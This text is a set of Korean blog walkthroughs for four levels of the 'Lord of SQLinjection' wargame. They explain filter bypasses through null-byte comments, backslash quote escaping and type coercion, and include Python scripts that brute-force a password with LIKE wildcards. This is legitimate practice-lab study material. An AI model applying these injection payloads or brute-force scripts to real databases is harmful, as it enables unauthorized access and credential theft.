필터링 찾기

1) pw 파라미터에 _ . # -  필터링

2) pw 파라미터 입력값 길이가 6 이하여야 한다.

6이상 길이가 들어가면 필터링
# 필터링

 

이 문제를 풀려면 위 필터링 조건도 맞추면서 id != 'admin' 을 무력화하고 pw가 true가 되어야 쿼리문이 넘어가서 풀린다. 즉 pw 입력값으로 인해 전체 구문이 true 가 되어야 한다. 

일단은 pw를 모르니 pw 뒤에 오는 id ! = 'admin' 무력화를 위해 주석처리가 필요하다. 

주석처리 방법은 다음과 같다.

# (%23)
/* */
- -
;%00

일단 #과 - 필터링되기 때문에 불가능함.

/* */ 방법도 안되는 듯 싶다.  */로 닫을 수 없음.

그럼 ;%00를 통해 필터링을 우회해야 한다. pw=(' ')도 true로 만들어야 하기 때문에 방법을 찾다보니 자동형변환을 이용해야 하는 것 같다.

 자동형변환 예시 ) '1' = 1 (true) :  왼쪽은 문자열, 오른쪽은 숫자이지만 1=1 로 인식할 수 있음.

이 점을 이용하여 

pw = (' ') = 0 

pw = (' ') 은 false 이고 0도 false 이므로 false = false 가 되서 결론적으로는 true 가 된다!!!

 

payload : pw = ')=0;%00 

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14

필터링 조건 찾기

1) id와 pw 파라미터에 들어오는 문자열을 모두 뒤집는 strrev 함수가 쓰인다.

2) id와 pw 파라미터에 _ . '  모두 필터링

3) id와 pw 파라미터에 ' , " , \  입력시 앞에 \ 하나씩 추가됨.

' → '\

" → "\

\→\\

 

이번 문제는 3번을 역이용해야 하는 것으로 보인다. 

step16번 문제에서 싱글쿼터 필터링을 우회하기 위해 백슬래쉬 (\) 를 이용하여 문자열로 만들었다. 이 점을 이용해야 한다.

백 슬래쉬를 이용하려면.. 

where id = ' test' and pw = ' test' 에서 id의 첫 싱글쿼터와 pw의 첫 싱글쿼터가 한 쌍이 되도록 만들어야 한다.

 

1차시도)

첫 시도는 다음과 같다. 앞선 문제와 동일하게 id= \ 먼저 넣고, pw에는 무력화할 or 1=1 # 넣기

payload : id = \ & pw= # 1=1 ro (strrev 함수 때문에 뒤집어서 입력값 넣기)

이 시도로 where절을 분석해보면..

where id=' \\' and pw= ' or 1=1 #'

: id의 1번 싱글쿼터와 pw의 1번 싱글쿼터만 쌍을 이뤄야 하는데 id의 2번 싱글쿼터가 먹혀서 실패

라고 생각했지만..

..

id 값에 \ 백슬래쉬 1개만 입력하면 자동으로  \ \ 2개가 들어간다.
그러면 첫번째 \ 가 두번째 \ 도 문자열로 만들기 때문에 두번째 \ 가 싱글쿼터를 무력화시키는 걸 방해하게 된다.

그래서 id의 2번 싱글쿼터가 무력화되지 않는 것!

 

2차시도)

id 파라미터에 싱글쿼터 1개만 입력하게 되면 '\ 이렇게 들어간다.

id = ' ' \' and pw= ' or 1=1 # ' 

이 경우에는 id의 3번째 싱글쿼터는 \ 때문에 문자열이 되겠지만, id의 2번째 싱글쿼터가 생존하고 있으므로 실패

 

3차 시도)

id = " 더블쿼터를 넣게 되면 뒤에오는 \ 가 싱글쿼터를 문자열로 잘 만들게 되면서 공격이 성공한다.

id=' [ " \' and pw= ]' or 1=1 # '   : 노란색 부분이  id의 파라미터에 들어가는 문자열이 된다

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13

가장 먼저 필터링 확인하기

1) id 파라미터 : _ . ' 

2) pw 파라미터 : _ . ' 

분명 싱글쿼터가 모두 필터링되는데, 이 문제를 해결하려면 id 값이 있어야 한다.

pw는 모르니 pw 파라미터를 무력화시키면서 id 파라미터에는 입력값이 들어가야 문제를 풀 수 있다.

하지만 이를 무력화하려면 id에 들어가는 싱글쿼터 필터링을 무력화하라는 말인데... 싱글쿼터 필터링 우회 기법을 알아야 한다.

몇 개 찾아보니 다음과 같다.

 " " 더블쿼터 사용
\ 백 슬래쉬 사용 

일단 더블쿼터로는 불가능했다. id = ' '  두번째 오는 싱글쿼터를 무력화할 수 없기 때문이다.

그럼 백슬래쉬를 사용해야 하는데, 여기서 백슬래쉬의 역할을 알고 가야 한다.

\ : 뒤에 오는 ' 가 문자열로 인식됨

단, 이 방법은 id와 pw 두 개의 파라미터가 존재할 때만 가능한 방법이다!!!!

id = 'test' and pw= 'test' 라고 할 때..

id= ' test\' and pw= ' test' 여기서 두번째 싱글쿼터가 문자열이 되고 세번째 싱글쿼터가 두번째가 되어버린다.

마지막 싱글쿼터는 짝이 맞지 않은 것..

그래서 마지막 싱글쿼터만 주석처리로 무력화하면 된다. 

 

payload : id = \ & pw=or 1=1 %23

id = ' [\' and pw=] ' or 1=1 #'

: 문자열 [ \' and pw= ]을 true로 만들어야 하니 뒤에 or 1=1을 붙여주고 주석처리(#)로 세번째 싱글쿼터를 무력화하는 것

 

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13

pw 입력값에 적용된 필터링은 싱글쿼터가 들어갈 수 없다.

이전 문제들과의 차이점은 파라미터 = ?  이런식으로 들어가지 않고 where pw like [ ? ] 이 부분에 문제를 풀 수 있는 payload를 넣어야 한다.

일단 기본적인 sql 문법 like와 따라다니는 것은 '%' 라는 것을 잊지말 것.

pw=% 

이 경우에 hello guest 를 출력한다. 그러면 pw에 %는 반드시 포함한 후 힌트를 찾아야 한다.

%test ~~test 로 끝나는 단어
%test% 중간에 test가 포함되는 단어
test% test~~~ 로 시작하는 단어

위 3가지 조건을 통해 pw를 찾아야 한다.

1) %test : test로 끝나는 단어는 앞에 무한대로 길어질 수 있기 때문에 시간상 오래걸린다.

2) %test% : 처음 접근시 test가 포함되는 단어를 하나씩 찾을 수 있긴 하지만, 이 단어들을 하나씩 조합해봐야 하기 때문에 시간 소요가 1번보다 적지만 없다고 할 수 없다.

3) test%  : 가장 효율적인 방법이 맨 앞에서부터 차근차근 pw를 찾으면 빠를 것 같다.

 

먼저, 2번으로 접근해보았다.

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

    

for j in range(48, 122):  #아스키코드값 48번부터 122번   
    payload = chr(j)
    value = "%"+payload+"%".format(j)           #injection payload 
    parmas = {'pw':value}
    response = requests.get(url, params=parmas, cookies=cookies)
    

    if "Hello guest" in response.text:       
        print(chr(j))    #chr(): 아스키코드값 -> 문자
    

print(chr(48))

%(문자)% 로 pw에 들어가는 문자를 먼저 찾았다.

숫자는 0,1,2,9가 들어가고 문자는 DEF(def) 가 들어가는 것 같다.

뭐 몇 개 안되니 일일히 하나씩 넣어봐도 되지만 시간이 걸릴 것 같으니 3번 방법을 써보도록 한다.

# LOS
# STEP 13 bugbear
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값
payload=""
check=0

while 1:

    for num in range(48,122):
        tmp = payload + chr(num)+'%'  #9% -> 90% -> 902%
        params = {'pw': tmp}

        response = requests.get(url, params=params, cookies=cookies)

        if ("Hello admin" in  response.text):
            payload = payload +chr(num) #9 -> 90 -> 902 (한글자씩 쌓기)
            print(">> " ,payload)
            check = 1

        if ("Hello guest" in  response.text):
            payload = payload +chr(num)
            print("pw: " ,payload)
            break

    if check == 1:    #찾으면 종료
        break

(문자)%는 맨 앞글자 하나씩 붙어가면서 전체 pw를 찾기 때문에 훨씬 수월하게 pw를 찾을 수 있다.

pw=902% 까지만 찾아도 문제가 풀린다. pw의 전문을 다 안 찾아도 되는 듯

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13

+ Recent posts